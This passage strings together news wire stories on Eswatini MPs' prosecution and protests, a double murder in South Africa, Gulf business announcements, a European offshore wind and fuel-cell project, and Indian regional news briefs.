deliberately ousting Parliament Privilege, knowing very well that they raised the issues brought before court inside Parliament. Moreover, what we pick in the memorandum is that the State first arrested us, and then started investigating thereafter. Please recall that we were arrested on July 25, 2021, then the director of public prosecutions allegedly investigated in August, alleged the duo. They highlighted that they had already been charged and the advocate in his memorandum to the DPP referred to the indictment as obviously only a working tool at this stage. Annexed to their letter to the LSS, is the memorandum which Advocate Leppan wrote to the DPP. The LSS, through a letter written by its Secretary General, Charity Simelane, informed the MPs that they received their correspondence. Please be advised that we are in the process of consulting the relevant attorneys seized with your matter for further information on the case. We shall then revert, reads part of the reply. In the memorandum dated August 10, 2021, the advocate said it would appear that the evidence allegedly implicating Mabuza and Dube lied practically in public statements. He highlighted that to that end, he was provided with the translated statements made by the duo, together with various statements describing the events that took place over the period of June 5- June 26, 2021. Advocate Leppan further wrote that, a timeline in this matter would be of obvious vital importance, setting out all the actions and/or words of the suspects, together with the incidents of unrest, spanning the period of time in question. He further pointed out to the DPP that the dates and the events that allegedly took place would need to be unpacked in greater detail for purposes of analysis and comparison. Advocate Leppan stated that the task for successful prosecution in this matter would be the ability to link the two ends of the timelines. Evidence Having perused the available material thus far, it is apparent that there is no one source of evidence that proves the case against one or more of the suspects, but rather presents a mosaic, which at this stage, does not contain all the required pieces and it is thus to these missing pieces, that this memorandum is directed, reads part of the memorandum that was written by Advocate Leppan. He went on to point out that, a perusal of the translated statements of Mabuza and Dube revealed that the contents thereof were not necessarily consistent with the affidavits deposed to by certain persons who were present when the speeches were made. Advocate Leppan said he was also provided with a memory stick containing numerous voice notes, which would need to be translated and reduced to writing for purposes of identification and analysis. If some of the voice notes are attributed, directly or indirectly, to one or more of the suspects, then we may need to investigate the possibility of voice identification evidence, said the advocate. It was further his opinion that, the principle of common purpose would undoubtedly come into play in the matter and once all evidence was at hand would have to be considered. It would appear that this unrest has its roots comments and/ or speeches made by one or more of the suspects in Parliament, relating to Section 67 of the Constitution. While not specifically tabled as a motion, it nonetheless was discussed and Hansard should approach to provide a written version, advised Advocate Leppan. MBABANE - A LiSwati mother and her son were shot dead in South Africa and will be laid to rest tomorrow. The duo was brutally killed about two weeks ago. The mother was once a teacher at Mbabane Central High School. The story was first aired by SABC on Monday last week, in their 5:30pm news bulletin. According to the news bulletin, the unknown gunmen, believed to be four, went into the duos home and shot the mother before they slit her throat. They then stabbed the boy several times all over the body. The incident happened on a Thursday night. Neighbours are said to have only discovered their bodies three days later. Teacher The mother, Charity Thando Maseko, was said to be a former teacher at Mbabane Central High School and she lived in South Africa with her son Siphiwo Gift Piwo Mkhonta. From the news bulletin on SABC 1, that attracted over 50 000 viewers, it was mentioned that police were still investigating what could be a gang attack on the duo. A relative to the deceased had shared that they were not comfortable with commenting on the story. The relative said they were not in a good space to speak about what happened, adding that they were still mourning the loss of their loved ones and could be ready to speak about what exactly happened at a later stage. Meanwhile, South African Police Service (SAPS) Captain Mavela Masondo said they were still investigating the matter and that no arrests had been made yet. He further confirmed knowledge of the matter and that the duo were indeed emaSwati. We have that case, no one has been arrested as police are still investigating the matter, he said. This is the second incident that has seen liSwati natives die in South Africa. Last week, this publication published a story of a liSwati man who allegedly shot himself after gunning down his girlfriend. The couple lived in Soweto Orlando East at the time of the incident. MBABANE After being denied permission to march today, the public service associations (PSAs) have taken a decision to seek the courts remedy. This was revealed by Swaziland National Association of Teachers (SNAT) President Mbongwa Dlamini during the PSAs press conference held at the SNAT Centre yesterday. Dlamini said as PSAs, they followed all procedures for organising of a march, which included writing notice letters directed to the Ministry of Public Service, to the Ministry of Labour and Social Security and to the Prime Ministers (PM) Office. Dlamini cited the Public Order Act, which states that they should write notices and direct them to the designated areas where they intended to deliver the petitions. He said the notices did not necessarily mean they were begging to deliver the petitions, but they were just notifying the designated ministries. Notices He said after having written the notices, they then wrote a letter seeking permission from the municipal council. Dlamini said the municipality should have also followed the law as well when denying them permission. The teachers union president said they were disappointed that after having followed all protocols and obeying the council denied them permission without citing any piece of legislation. He said the municipality only cited a directive from the Minister of Housing and Urban Development, Prince Simelane. Dlamini noted that the minister did not exist in the Public Order Act. He said there was nowhere in the Act where it stated that permission should be sought from the minister of Housing. Dlamini said the minister did not have any powers to stop marches. He mentioned that this issue of marches should not be dealt with through emotions of certain individuals. Dlamini said this was also proof that government was dysfunctional, but rather emotions of those individuals had taken over. The law is not emotional, but it stands as it is not what was done by Prince Simelane, said Dlamini. He further pleaded with Prince Simelane to stop trespassing and said it was for this reason that they were busy preparing the paperwork to submit to the court. Dlamini said they were hoping that the court would play its part by reprimanding the municipal council and the Housing minister. He clarified that going to court did not necessarily mean that they were relying on the courts, but they were giving the Judiciary the benefit of the doubt. It will be up to them (courts) to prove if they are still worth being used by emaSwati, said the president. He said in all the problems faced by the civil servants, it was worth noting that there was nothing that would help them in the government of the day. He said government was suppressing civil servants through the laws that were being set up. Dlamini said despite being threatened or intimidated, they would stand up and fight for their rights. SNAT Secretary General (SG) Sikelela Dlamini said, to the Ministry of Public Service, they intended to deliver a petition with grievances which included complaints about the abolishment or privatisation of certain government departments. He said another demand was to raise concerns about what was done by government of informing some civil servants to resign from their trade unions. The SG said at the PMs Office, they intended to raise concerns about the alleged police brutality that was experienced by some civil servants during the recent marches. He said the reason they wanted to go to the PMs Office was that he was responsible for the police hence there was a need to intervene now. Demand The SNAT SG said another demand they wanted to raise with the PMs Office was the categorisation of the Public Service Pensions Fund (PSPF) which should be reviewed as some departments fell under Category B while they were supposed to fall under Category A. He noted that they feared that judging from governments body language, it was clear that chances were high that some civil servants might not benefit from this fund in the future. He added that they wrote a letter of notice to the PMs Office, but did not get a response hence they concluded that the PM was expecting them. When sought for comment, Principal Secretary (PS) in the PMs Office, Bertram Stewart, confirmed to have received the letter of notice. However, the PS wondered where the PSAs would march if the council had denied them permission. Sohar International has acted as the financial advisor to the popular on-demand delivery service major, Akeed, to raise its equity capital by $2.5 million from investors. This strategic initiative reflects Sohar Internationals strong internal capabilities through a well experienced team as well as a strong network and reach to market such investment opportunities to existing and potential investors whether locally, regionally, or internationally. Speaking on the occasion, Ahmed Al Musalmi, Chief Executive Officer, Sohar International, said: At Sohar International, we have a strong purpose that puts winning at the heart of everything we do. Benchmarking across international markets, we continue to deliver institutional advisory services that are drawn from a thorough understanding of the local market and are further complemented with valuable insights that we gain from our international partnerships. The induction of fresh capital and new investors will provide further impetus to Akeeds growth plan. Aspiring to bring the best of international banking practices to Oman, Sohar International will continue to enhance its value-added services for the benefit of its esteemed clients. The Investment Banking Advisory department of the Bank provides guided assistance and asset management to both Government agencies and corporates in framing the best capital structure, raising capital and monetising assets. The banks asset management department has all the required platforms for investors to tap the local and international markets. This includes advisory capability for tailor made portfolios based on the risk profiling. Co-founder of Akeed, Moosa Al Lawati said: We are pleased to announce the round of funding for our business, and we are thankful to our investors, Phaze Ventures and IDO (Sovereign Fund) for supporting a local delivery company. Our mission has been to digitalise the restaurants and stores with state-of-the-art technology for customers. The support we received will help us to make technological developments, create more delivery jobs and provide quality service to our customers and vendors. Sohar International has played a key role in introducing us to like-minded investors who are aligned with the vision and validated the teams potential and business opportunity. Despite the global pandemic bringing its set of uncertainties to the financial sector, Sohar Internationals focus on sustainable growth, uncompromising take on servicing its clients and ability to deliver exceptional value to its stakeholders has cemented the banks position as a trusted financial partner of choice. Backed by a team of experts well-versed in handling the complexities of a dynamic market, the bank has been able to assist its clients to better manage their funds. Reiterating its strong market position and investor confidence, earlier this year the bank had successfully completed the issuance of OMR6 million ($15.59 million) Perpetual Sukuk al Mudaraba Trust Certificate, by Takaful Oman Insurance SAOG - a leading Takaful company in Oman. The Perpetual Sukuk has an initial yearly profit rate of 8.5%, payable semiannually through Takaful Sukuk Specialised Purpose Company (SPC) established by Takaful Oman for this specific Programme. -- TradeArabia News Service Vertiv, a global provider of critical digital infrastructure and continuity solutions, has announced the Clean Hydrogen Partnership will provide EUR2.5 million ($2.82 million) to help fund a project to develop low-carbon fuel cells to power data centres. It is hoped this could reduce carbon emissions from operations by up to 100%. The EcoEdge PrimePower (E2P2) project is a novel proof-of-concept initiative aiming to develop and demonstrate low environmental impact fuel cells that provide economic and resilient prime power solutions for the data centre environment. A consortium of seven companiesEquinix, InfraPrime, RISE, Snam, SolidPower, TEC4FUELS and Vertivwill explore an innovative integration of solid-oxide fuel cells with uninterruptible power supply (UPS) technology and lithium-ion batteries to provide resilient and clean primary power to data centre deployments and other critical infrastructure. Implementing natural gas solid oxide fuel cells (SOFC) as a prime power application will be instrumental to pave the way for the use of green hydrogen for fuel cells application, for both backup and prime power systems. Digitalisation and the data centre industry are growing at an increasing pace and thus it is even more vital to fast-track our journey towards an environmentally sustainable future, said Giordano Albertazzi, president for Vertiv in Europe, Middle East, and Africa. This can only be made possible by developing clean, innovative technologies such as fuel-cell solutions to provide sustainable power for the digital world. Vertiv is proud to actively contribute to the E2P2 proof-of-concept initiative and looks forward to provide next-generation power solutions to its global customers. The E2P2 project is the latest in a series of initiatives Vertiv has conducted around sustainability and the wider Environmental, Social and Governance (ESG) arena. Vertiv is also part of the Sustainable Digital Infrastructure Alliance (SDIA) and the European Data Centre Association (EUDCA) and contributes to the Climate Neutral Data Centre Pact with the aim to meet the European Commissions goal for climate-neutral data centres by 2030. The E2P2 project is part of the companys effort to prioritise and support the development of clean, sustainable and renewable power solutions for application across the data centre industry. GREENER FUTURE Fuel cells are recognised as a cleaner and quieter power solution that can alleviate demand on urban power grids. They can be deployed on-site at a data centre campus, and operate using natural gas, biogas, LPG or green hydrogenwhich can be transported and distributed over existing gas networks. The E2P2 project marks an exciting step toward significant carbon reduction, whilst still meeting requirements for a highly resilient critical power supply to data centres. At the heart of this vision, is a market-oriented approach that integrates innovation and stakeholder engagement to maximise acceptance and uptake opportunities of stationary fuel cells as reliable, efficient and decentralised prime power sources for other industrial scale applications. The consortium hopes to develop the authoritative open standard for fuel cell applications to pave the way toward commercialisation of fuel cell energy for data centres in Europe, demonstrating the industrys potential role in achieving EU carbon reduction targets. E2P2 is a joint project from Equinix, InfraPrime, RISE, Snam, SolidPower, TEC4FUELS and Vertiv, partially funded with a grant by the Clean Hydrogen Partnership, from the Horizon 2020 programme of the European Commission. The consortium will engage with the organisations that work on developing European best practices and standards to facilitate high-level concept design and interface definitions. The E2P2 project goals are aligned to the objectives of the European Commission to rapidly accelerate the application of fuel cells to power the needs of energy intensive sectors while achieving a greener grid. E2P2 aims to achieve multiple environmental objectives, including showcasing a real-world proof of concept of 24/7 low-carbon power that does not rely on diesel generators and supports the growing hydrogen and renewable energy economy across Europe. The intention is for the resulting units to replace the traditional power supply and generators, with additional redundancies built in to maintain uptime standards. Vertiv will leverage its extensive experience in AC power systems as well as in prefabricated modular solutions for data centres to design and develop an integrated fuel-cell power module, including the Vertiv Liebert EXL S1 uninterruptible power supply (UPS). Close collaboration between the Vertiv AC Power line of business based in Italy and its Integrated Modular Solutions line of business based in Croatia will be key to engineer an all-in-one 100 kW module as a proof-of-concept by 2023, with the final goal of developing a commercially viable product that can support multiple MWs of critical load and facilitate a greener future for data centres worldwide. In parallel, Vertiv is also working with key global customers to develop new hydrogen-based generators that will help replace diesel generators. Bart Biebuyck, Executive Director, Clean Hydrogen Partnership said: With its ongoing support of research and development of fuel cells for stationary applications, the Clean Hydrogen Partnership (previously FCH JU) managed to set a strong basis for European industry to lead in the deployment of new technologies. We are proud to see that the E2P2 project will provide clean fuel cell-based applications for the decarbonisation of data centres within a solid consortium gathering fuel cell providers, system integrators as well as data centre operators and energy utilities. Projects such as E2P2 are absolutely essential in offering solutions to un-tap markets with great potential and contribute to our ambitious EU climate targets. Eugene Bergen Henegouwen, President, EMEA, Equinix, stated: The E2P2 project hopes to be a breakthrough in making data centres more environmentally sustainable worldwide. Equinix has committed to mitigating our environmental impact, and this project provides a unique opportunity to demonstrate the use of an innovative, clean, primary energy source. We hope it will make a considerable impact towards reaching our global commitment of 100% renewable energy and climate neutrality by 2030, as well as advancing our industrys sustainability goals. Its important we support the growth of the market in Europe for clean and reliable on-site power. Dr Jon Summers, Scientific Lead in Data Centres, RISE, said: This decade is undeniably focused on building a future that is environmentally sustainable. We all know that digitisation and data centres are key elements of this future, where innovation is at the heart of our journey to our global 2030 goals. As researchers at RISE, we are invested to be a strong part of the E2P2 team, to push the technology envelope and to transparently demonstrate new sustainable approaches of prime power for the future digital infrastructure. Susanna Kass and Dr Alberto Ravagni, Co-Founders, InfraPrime, said: The E2P2 clean energy standard is an inflection point for clean cloud providers to achieve Carbon Neutral (Positive) cloud infrastructure on a global scale. InfraPrime is proud to lead in this project on the creation of an open industry standard to support the global adoption of eco edge prime power solutions with fuel cells across clean cloud infrastructure, to support industries and applications at hyperscale. Cosma Panzacchi, Executive Vice President Hydrogen, Snam, said: We are happy to contribute our know-how to the E2P2 alliance to help tackle the issue of powering urban data centres with clean and competitive energy solutions. The concept of connecting fuel cells to gas networks to power resilient urban and edge data centres overcomes the need to have backup generation in such areas, thus reducing emissions as well as noise impact. This project is part of Snam's efforts to foster the use of hydrogen to decarbonise economic sectors, leveraging existing gas networks and sustainable technologies like hydrogen-ready fuel cells. Dr Klaus Lucka, Managing Director, TEC4FUELS, said: TEC4FUELS is a competence centre for sustainable liquid and gaseous energy carriers (fuels) and operating fluids in technical systems. For the operation of the fuel cells, the company contributes its know-how to the research project in the supply and purification of the process gas medium and water. In addition, TEC4FUELS is developing a sensor-based fluid condition monitoring system to monitor gas and water quality. The aim is to help reduce system-related greenhouse gas emissions by optimising the operational reliability and service life of technical components and increasing the efficiency of this subsystem.-- TradeArabia News Service Port of Salalah, in close partnership with ROP customs, has successfully tested Sea-Air connectivity with a priority shipment destined for Qatar during the second week of December. The shipment, a 40FT Maersk container loaded from Antwerp, upon discharge in Salalah, was successfully moved on customs bond to Muscat airport for air freight to Doha in a record time of 15 hours. This included tracking the shipment movement process from the Seaport to the Airport in Muscat at every step. The ROP extended extraordinary support in making this trial a successful one with seamless operation at both ends, a statement said. Sea-Air, a multi-modal transport supply chain solution that combines the Ocean freight's cost-effectiveness and Airfreight's speed in the supply chain, is more relevant now given the current reliability and high-cost challenges with Ocean freight post the pandemic. The integrated Salalah Ecosystem's solution is also one of the key focus areas of Oman 2040 vision logistics strategy. The Port of Salalah is the fastest access point between the Middle East, India, and East Africa and markets in Europe, the Americas, and the rest of the world. Moving cargo through the largest port in Oman can save days in transit times and cut costs. With this successful execution of this solution Salalah targets offering a viable and cost-effective Sea-Air product via Salalah and Muscat airports, which saves an additional two days in terms of total transit time over regional competitors. We were extremely pleased with the seamless operations with our shipment once handed over to Port of Salalah which helped us exceed our customer expectations says Naushad Rehman, Managing Director, Muscat International Shipping, acting on behalf of the consignee. Sea-Air shipments are known for their time sensitivity, the successful execution of the trial shipment of Sea-Air product with the cooperation from ROP customs and Asyad. This marks a significant step in testing our system capabilities, thereby bringing Salalah on the map of global Sea-Air locations, quoted Mark Hardiman, CEO of the Port of Salalah. The Port continues to actively contribute to Omans 2040 vision and objectives and support Omans economic diversification strategy. Strategically located on the trade crossroads between Asia and Europe, and serving the markets of East Africa, the Red Sea, the Indian Subcontinent and the Arabian Gulf the Port of Salalah is operated by APM Terminals as part of the APM Terminals global terminal network. The port operates both a container terminal and a general cargo terminal.--TradeArabia News Service Tala Bashmi, often referred to as the voice of modern Bahraini cuisine, has been named as the winner of the first Middle East & North Africas Best Female Chef Award 2022. Chef-patron of Fusions by Tala in Bahrain, Bashmi will be presented with the award at the debut edition of MENAs 50 Best Restaurants, set to take place at Abu Dhabi in February 2022. The award forms part of the 50 Best organisations mission to honour female role models within the culinary industry and representsthe first pre-announced award of the Middle East & North Africas 50 Best Restaurants 2022 programme. A passion for creating culinary experiencesfor her guests drives Bahraini-born, Swiss-trained Bashmi. Learning about Middle Eastern cuisine and her cultural identity from her father through his in-depth knowledge of the ingredients used, this education soon turned into a calling, as Bashmi witnessed first-hand the joy that a well-prepared dish could bring. Beginning her career through a home venture called Baked by T, the chefs desserts became famous in Bahrain, garnering her numerous fans. Following this initial success, Bashmi joined the Culinary Arts Academy in Lucerne, Switzerland, where she gained a Masters in International Business in Culinary Management. During her time in Europe, she held roles at the Grand Hotel Les Trois Rois and Michelin-starred restaurant Prisma, learning how to run restaurant operations as well as working in fast-paced kitchen environments. Upon her return to the Middle East, she competed in the MBC show Top Chef (Middle East & North Africa), finishing in the finals and showcasing the modernised Bahraini cuisine that she would become famous for. She took over Fusions by Tala, at the Gulf Hotel, Bahrain, in September 2017 priding herself on the concepts willingness to experiment with ingredients and techniques used around the world and incorporating these into native Bahraini dishes. The restaurant was renovated and relaunched as Fusions by Tala in February 2020. Signature creations include Bamia, traditional okra and meat stew developed using off cuts, and modernised using wagyu beef cheek, crispy okra glass and tomato broth rice, to capture the essence of the original dish. Bashmi said: It is an honour to be awarded with the first ever Best Female Chef award as part of the inaugural MENAs 50 Best Restaurants 2022. It has always been a dream to put my culinary heritage on the global map, highlighting it not only within the MENA region but around the world. One of my main goals as a chef is to bridge the gap between high-end gastronomy and simple food, making each meal a journey. 50 Best Director of Content William Drew said: The Best Female Chef award series celebrates chefs whose skills, creativity and dedication within the industry reach new bounds. Bashmi epitomises the spirit of this award with her commitment to highlighting Bahraini cuisine around the world whilst simultaneously modernising many of its traditional dishes. "She is a worthy winner of the inaugural MENAs Best Female Chef title and we are excited to celebrate her, along with leading chefs and restaurateurs from across the region, at the awards event in Abu Dhabi in February. The inaugural Middle East & North Africas 50 Best Restaurants awards ceremony, sponsored by S.Pellegrino & Acqua Panna, will be hosted in the UAE capital on February 7, 2022, supported by Abu Dhabis Department of Culture and Tourism (DCT).-TradeArabia News Service Nissan has reached a new milestone this year with the expansion of the brands aftersales network to over 60 service facilities across the region. With the inauguration of three new service facilities in the Qatar and Abu Dhabi markets, Nissans established network of service centres across the Middle East serves as a testament to the brands sustained dedication towards customer satisfaction. With the newly established service facilities, the Nissan regional aftersales network now offers an overall capacity of over 2,500 vehicles per day, allowing for over 700,000 vehicles per year to be serviced across 10 Middle East markets comprising Abu Dhabi, Bahrain, Dubai, Iraq, Jordan, Kuwait, Lebanon, Oman, Qatar and Yemen. Owing to the rich history and heritage of the legendary Nissan Patrol in the region, Nissan also caters to customers with two dedicated Patrol service centres located in Kuwait City and Dubai. By supporting and assisting partners in local markets, Nissan ensures customers receive exceptional service and satisfaction at all outlets across the region, in alignment with the Nissan Retail Concept (NRC). Embodying the new brand identity, the newly opened facilities are built on NRC principles and offer customers a seamless experience across multiple touchpoints, through optimised layouts of the facility, service processes, and digital environments. This in turn provides customers with a globally consistent brand experience that surpasses expectations. Commenting on the opening of the new facilities, Andrew McLaughlan, Aftersales Director at Nissan Middle East, said: Customers remain at the core of our operations, and we are determined to continually improve their experiences and ownership journeys to exceed expectations. It is with the support of our trusted partners that we are able to deliver on our strong commitment towards customer centricity. The continuous expansion of our world-class aftersales facilities allows us to cater to the evolving aftersales market in the region, and provide customers with quick, efficient, and high-quality service that has been synonymous with Nissan over the past six decades. When servicing vehicles at certified Nissan aftersales centres, customers benefit from a host of advantages across know-how, facility, and value pillars, including: Repair Warranty: Assuring peace of mind, all services and repairs conducted at authorised service centres are covered by a comprehensive warranty. Genuine Parts: Crafted to ensure longer vehicle life and better performance, genuine Nissan parts improve safety and keep vehicles running in prime condition for longer. Technical Expertise: All certified Nissan technicians undergo a minimum of 500 hours of training to increase their theoretical and practical knowledge, resulting in a full understanding of service requirements. Highly skilled technicians are able to provide customers with the right recommendations for repairs based on thorough vehicle inspections, manufacturer repair information, and the technical expertise they possess. Personalised Customer Relationship: A dedicated team follows up with customers and ensures utmost satisfaction post vehicle servicing. This is accompanied by the digital customer survey rolled out across all distributors earlier in the year. Tools & Equipment: High-tech tools and facilities allow technicians to perform complex repairs with the use of advanced equipment, diagnostic tools, scanners, and machines to perform quick and efficient repairs. On-Time Service: By providing customers with service reminders, vehicles are serviced at proper intervals, allowing them to run smoother for longer. This is also due to the complete service customers receive at Nissan authorised service centres, that includes the inspection, cleaning, lubrication, oil change, and adjustment of over 50 components during a routine maintenance service. A large and conveniently located parts warehouse also translates to minimal waiting time for customers on complex repairs. Customers can service their vehicles at Nissan partner network across the Middle East including, Al Masaood Automobiles in Abu Dhabi, YK AlMoayyed & Sons in Bahrain, Arabian Automobiles Co. in Dubai, Anwar Babel Co. in Iraq, Bustami & Saheb Co. in Jordan, Abdulmohsen Abdulaziz Al Babtain in Kuwait, Rasamny-Younis Motor Company (RYMCO) in Lebanon, Suhail Bahwan Automobiles in Oman, Saleh Al Hamad Al Mana Co. in Qatar, and Tehama Trading Co. in Yemen.-- TradeArabia News Service Siemens Gamesa is set to once again deliver in Denmark, having received the green light to proceed from Vattenfall for the 344 MW Vesterhav offshore wind projects. As planned, the 176 MW Vesterhav Nord project will utilise 21 SG 8.0-167 DD offshore wind turbines, with the 168 MW Vesterhav Syd project utilising 20 SG 8.0-167 DD offshore wind turbines. Located up to 10 km off the west coast of Denmark, the two projects are intended to be completed in 2023. Together, they aim to deliver clean, renewable energy to around 350,000 average Danish households. A three-year Service agreement, with both projects being served from the Port of Hvide Sande, is furthermore included. Receiving the go-ahead for both Vesterhav projects is extremely satisfying, and we are excited to deliver domestically in Denmark once again. Adding 344 MW of capacity to the grid, powered by winds found in the waters of the Danish North Sea, is another welcome contribution to fighting the climate emergency, states Marc Becker, CEO of the Siemens Gamesa Offshore Business Unit, who continues: Leading the offshore revolution as we do unquestionably owe much of its success to our dedicated team in Denmark and our powerful local presence. We are the single-largest employer in the Danish wind industry, and in the country where the offshore wind industry began, these roots are strong and deep. At 176 MW, Vesterhav Nord will be located a maximum of around 8.5 km offshore and cover an area of around 40 sq km. The 21 Siemens Gamesa offshore wind turbines, each with a capacity of 8.4 MW and rotor diameter of 167 meters, will be commissioned from the Port of Thyborn. Installation is planned to begin in 2023 and be completed the same year. At 168 MW, Vesterhav Syd will be located around 10 km offshore and cover an area of around 37 sq km. The 20 Siemens Gamesa offshore wind turbines, each with a capacity of 8.4 MW and rotor diameter of 167 metres, will be commissioned from the Port of Hvide Sande. Installation is planned to begin in 2023 and be completed the same year. Our Danish heritage goes back to 1980, where we grew from a small group of passionate pioneers to more than 5,600 direct employees in Denmark today. The Vesterhav projects will feature world-leading offshore wind technologies and components designed, manufactured, assembled, tested, and maintained in Denmark. Whether in the nacelles from Brande or the blades from Aalborg, our commitment to unlocking the potential of wind will be tangibly demonstrated when the projects are operational, states Torben Bang, Managing Director of Siemens Gamesa in Denmark. Siemens Gamesa and Vattenfall have a strong history of collaboration, with multiple gigawatts of capacity in their joint offshore wind pipeline. Currently, the worlds leading manufacturer of offshore wind turbines is delivering 140 SG 11.0-200 DD offshore wind turbines for Vattenfalls 1.5 GW Hollandse Kust Zuid project in The Netherlands, the worlds first subsidy-free offshore wind power plant. Siemens Gamesa has also been named nominated preferred supplier for Vattenfalls Norfolk projects in the UK, totaling 3.6 GW, and expected to utilise the new SG 14-236 DD offshore wind turbine. Historical offshore wind power plant collaboration between Siemens Gamesa and Vattenfall include parks in operation such as Danish Kriegers Flak at 600 MW, DanTysk at 288 MW, Sandbank also at 288 MW, and Lillgrund at 110 MW. The Vesterhav projects were announced as firm orders by Siemens Gamesa in 2018. A delay in start of construction was announced by the customer in 2019, where installation was announced as postponed to 2023.-- TradeArabia News Service New Delhi, Dec 14 (UNI) India has agreed to send a high-level delegation to Chabahar in Iran next year, following talks between India, Iran and Uzbekistan on joint use of Chabahar Port on Tuesday. During the Second Trilateral Working Group Meeting between the three nations, held in virtual format, the Indian side made a presentation on the operations of Chabahar Port. India informed that the Indian company, India Ports Global Limited (IPGL), through its wholly owned subsidiary, India Ports Global Chabahar Free Zone (IPGCFZ), took over the operations of the Chabahar Port w.e.f. 24.12.2018. Since then, it has handled 160 vessels, 14,420 TEUs (Twenty-foot Equivalent Units) and 3.2 million tons of bulk and general cargo. The Shahid Behesti Terminal, Chabahar Port, has handled shipments and trans-shipments from various countries including Russia, Brazil, Thailand, Germany, Ukraine, Oman, Romania, Bangladesh, Australia, Kuwait, Uzbekistan and UAE. The participants underlined the important role played by Chabahar Port during humanitarian crises as well as in enhancing regional connectivity. They also took note of the increase in transit traffic between Central Asia and South Asia through the Shahid Behesti Terminal, Chabahar Port, and discussed further development of the transportation corridor. Upon the invitation of the Iranian side, the Indian side agreed to send a high level delegation to Chabahar next year. It was decided to hold the third session of the trilateral working group meeting in India at a mutually convenient date, an official statement said. The Meeting was jointly chaired by Dr. Sanjeev Ranjan, Secretary, Ministry of Ports, Shipping and Waterways, Government of India; Dr. Ali Akbar Safaei, Secretary, Deputy Minister and Managing Director, Ports and Maritime Organization of the Islamic Republic of Iran; and Mr. Abdossamad Mumen, Secretary, Ministry of Transportation of the Republic of Uzbekistan. Meanwhile, according to Iranian website Irna, the Iranian Deputy Minister of Road and Urban Development Ali-Akbar Safaei said on Tuesday that Iran welcomes Uzbekistans decision to invest in the development of Chabahar port. Safaei made the remarks in a tripartite meeting of Iran, India and Uzbekistan. He noted that boosting relations with neighbouring countries tops the agenda of Irans foreign policy. Uzbekistans joining the Chabahar Agreement will pave the way for transit of goods between India, Iran and Uzbekistan, the official said. Noting that enforcement of the Chabahar Agreement has significantly increased port traffic in Chabahar over the past few years, Safaei said that the port will become more active with the all-out cooperation of India, Iran, Afghanistan, Uzbekistan and other Central Asian countries. UNI/RN Myanmar nationals taking refuge in India have right to humanitarian aid : NHRC Shillong, Dec 15 (UNI) Myanmar nationals who are taking refuge in Indias northeastern state of Mizoram and Manipur following the military coup in February, have the right to humanitarian aid from the State under any circumstances, National Human Rights Commission (NHRC) said on Wednesday. Article 21 comes to the rescue of all persons whose human rights are being violated whether New Delhi, Dec 15 (UNI) Prime Minister Narendra Modi on Wednesday expressed grief over the loss of lives in a bus accident in Andhra Pradesh, and announced an ex-gratia of Rs 2 lakh each to the kin of the deceased. Taking to twitter, the Prime Minister's Office (PMO) quoted the PM as saying, "Saddened by the loss of lives due to a bus accident in West Godavari, Andhra Pradesh. In this hour of grief, my thoughts are with the bereaved families." "PM Narendra Modi has announced an ex-gratia of Rs 2 lakh each from PMNRF for the next of kin of those who lost their lives in the bus accident," the PMO said in another tweet. By Mir Afroz Zaman Dhaka, Dec 15 (UNI) President of India Ram Nath Kovind, who is on his three-day visit to Dhaka, paid floral tribute to the martyrs of the Liberation War of Bangladesh at the National Memorial in Savar on Wednesday. Kovind reached Tejgaon by road from Hazrat Shahjalal International Airport from where he went to Savar National Memorial by helicopter at 12:35 pm. He visited National Martyrs' Memorial in Savar and paid tributes to the martyrs of the Liberation War of Bangladesh. At the memorial, the President stood in silence for a while. A smart contingent of the armed forces paid homage to the martyrs in military style while the bugle played a sad tune of the bugle. After paying their respects, Kovind planted a tree sapling in the premises of the memorial. He also signed the visitors' book at the memorial. He was accompanied by his wife Savita Kovind and daughter Swati Kovind. After Savar, he left for Bangabandhu Memorial Museum to pay homage to the portrait of Bangabandhu Sheikh Mujibur Rahman. The President of India is in Dhaka for a three-day state visit to mark the golden jubilee of the war of liberation and the birth centenary of Father of the Nation Bangabandhu Sheikh Mujibur Rahman. He was received by Bangladesh President Abdul Hamid and his wife Rashida Khanam. The two heads of state exchanged greetings at the time. Later, a temporary reception was set up at the VVIP terminal where a smart contingent of the Armed Forces gave the Guard of Honour to the President of India. Later, Kovind toured the parade. UNI MAZ RNJ New Delhi, Dec 15 (UNI) Congress MP Rahul Gandhi on Wednesday slammed the government for running away from the discussion on the Lakhimpur Kheri violence case in Parliament. Government does not want any discussion in the house, which will expose them, Rahul Gandhi told reporters outside parliament after the adjournment of the Lower house. The opposition wants to discuss this issue (Lakhimur Kheri) in Parliament and we also want the minister to be sacked and we will continue building pressure on the government, he said. Earlier in the house, Rahul Gandhi, too, moved an adjournment notice in Lok Sabha demanding the removal of Minister of State for Home Ajay Mishra, whose son is an accused in the case. In his notice, Rahul Gandhi has sought adjourning the business of the House and demanded that the Special Investigation Team's (SIT) report on the Lakhimpur Kheri incident be taken up for discussion. The issue is there is conspiracy, farmers have been murdered and it is being said the Minister is involved but the Prime Minister is still silent on the matter, Rahul alleged. Rahul said, On one hand he apologizes to farmers, on other hand government refused to pay compensation, and a murderer is sitting here, in the Cabinet. What is the logic?. Calling for justice for the farmers, he said I promised when I went there (Lakhimpur), whatever happens, we will build pressure and get justice. There won't be justice without pressure. Just like the Farm Laws were rolled back, this minister will also be punished. It may take 5 years or 15 years. Meanwhile, the government has refused to discuss the matter in Parliament, saying the matter is sub-judice. The SIT report, details of which emerged on Tuesday, says that farmers were run over at Lakhimpur Kheri, allegedly by an SUV driven by Ashish Mishra, son of MoS Home Affair Ajay Mishra "with intent to commit murder". It also termed the incident as pre-planned conspiracy. On October 3, eight people including four farmers were killed during the farmers protest in Lakhimpur Kheri after being mowed down by the SUV belonging to the Union Minister. One journalist was also killed in the violence. UNI JA SHK1721 Delhi court seeks report from police on a woman's complaint against her father 06 Jan 2022 | 1:09 AM New Delhi, Jan 5 (UNI) A Delhi Court on Wednesday sought a report from police on a 24 year old woman's complaint for registration of an FIR against her father, a rape convict, for allegedly harassing and molesting her. see more.. CBI files supplementary charge sheet against 27 persons, 3 pvt companies in multi thousands crore scam case 06 Jan 2022 | 12:16 AM New Delhi, Jan 5 (UNI) The Central Bureau of Investigation (CBI) on Wednesday filed a supplementary charge sheet against 27 accused, including three private companies before CBI Court in Delhi, in a case related to multi thousands crore scam. see more.. EAM speaks with Maldivian FM, discusses good progress in bilateral partnership 05 Jan 2022 | 11:24 PM New Delhi, Jan 5 (UNI) External Affairs Minister S Jaishankar on Wednesday held a telephonic call with Maldivian Foreign Minister Abdulla Shahid, during which the two discussed the good progress in the bilateral partnership. see more.. I-T dept raids UP-based firms for alleged tax evasion, seizes over Rs 9 crore cash 05 Jan 2022 | 